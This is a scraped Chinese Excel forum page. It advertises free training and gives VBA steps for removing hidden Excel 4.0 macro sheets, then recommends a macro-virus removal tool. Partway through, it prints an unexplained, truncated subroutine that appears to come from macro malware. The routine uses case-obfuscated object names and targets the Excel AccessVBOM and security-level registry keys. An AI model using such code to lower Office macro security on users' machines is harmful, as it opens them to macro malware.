Excel精英培训－完全免费的视频培训

推荐一个免费参加excel培训班的机会，有新手班，函数入门班，函数中级班、VBA中级班、数据透视表班等，真的免费。详情：

http://www.excelpx.com/forum.php ... 8&fromuid=42157

需要现场培训的请留言，谢谢。

1 兰色幻想ExcelVBA数组入门教程集合 悠哉 2 Excel常用函数应用集合 悠哉 3 一些关于SQL的基础资料 無心 4 mn860429同学SQL系列练习题集 無心 5 QQ9947同学的练习题集 無心 6 VBA特训营抢答题汇总贴 轩辕轼轲 7

打开时提示有4.0版本的宏，不启用宏打不开工作簿时可以做如下处理：

第一步，显示所有工作表，包括宏工作表：

Sub ShowSheet()

Dim sht

For Each sht In Sheets

　　sht.Visible = True

Next

End Sub

第二步，删除所有自定义名称：

Sub DelName()

Dim nam

For Each nam In Names

　nam.Delete

Next

End Sub

第三步，删除所有4.0版本宏工作表，保存文件即可。

Sub 设置安全级别为中级()

Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String

Dim KValue1 As Variant, KValue2 As Variant

Dim VS As String

On Error Resume Next

VS = Application.Version

Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")

RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"

RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"

RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"

RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"

宏病毒专杀防疫工具v3.0（一键安装）

http://www.excelpx.com/thread-221929-1-1.html

本工具对流行的book1病毒、startup病毒等流行病毒均有专杀和防疫功能。

强烈推荐，简便易用。